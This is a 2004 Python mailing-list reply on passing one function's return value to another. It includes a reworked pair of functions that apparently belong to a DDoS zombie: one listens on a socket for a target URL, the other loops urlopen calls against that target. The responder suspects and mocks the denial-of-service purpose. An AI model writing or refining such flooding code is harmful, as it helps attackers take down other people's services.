passing what a function returns to another function
Steven
dippy at mikka.net.au
Sun Feb 8 00:02:14 EST 2004
On Sun, 08 Feb 2004 11:06:00 +1100, Bart Nessux wrote:
> I have 2 functions among others. One gets a URL and returns its, For
> example, it returns 'http://127.0.0.1' How can I pass this to another
> function? I've never worked with code that has lots of functions before.
Either store the function result in an intermediate variable, or just call
the second function directly on the result of the first:
# method 1: using an intermediate variable
my_url = receive_target()
receive_commands(my_url)
# method 2: call one function directly on the result of the other
receive_command(receive_target())
Please note, the way you have written these two functions, I don't believe
either method will work. In particular, receive_commands() doesn't take
any arguments, so you have no way to pass it an argument :-)
Also, receive_target appears to be using a lot of global variables, which
is probably not a good idea. If you have to use globals, it is recommended
that you declare them that way first, even if you don't strictly need to.
I would try something like this:
# WARNING: untested code, almost certainly won't work
def receive_targets_url(I):
# This receives the DDOS target's URL...
# Input: socket I
# Output: string URL
# I hope DDOS doesn't stand for Distributed Denial of Service
global DDOS_ZOMBIE_IP, U_PORT
# by convention, constants are in ALL UPPERCASE
I.bind((DDOS_ZOMBIE_IP, U_PORT))
I.listen(5)
conn, addr = I.accept()
ddos_target = conn.recv(1024)
conn.close()
return ddos_target
def receive_commands(url):
# This receives commands ...
# Input: url is a string containing the URL to use
# Output: none
for i in xrange(999999999):
# hmmm, this looks like a Denial of Service attack to me...
# haven't you got something better to do with your time,
# like maybe writing a natural language parser or something
# useful and challenging?
f = urlopen(url)
--
Steven D'Aprano
More information about the Python-list
mailing list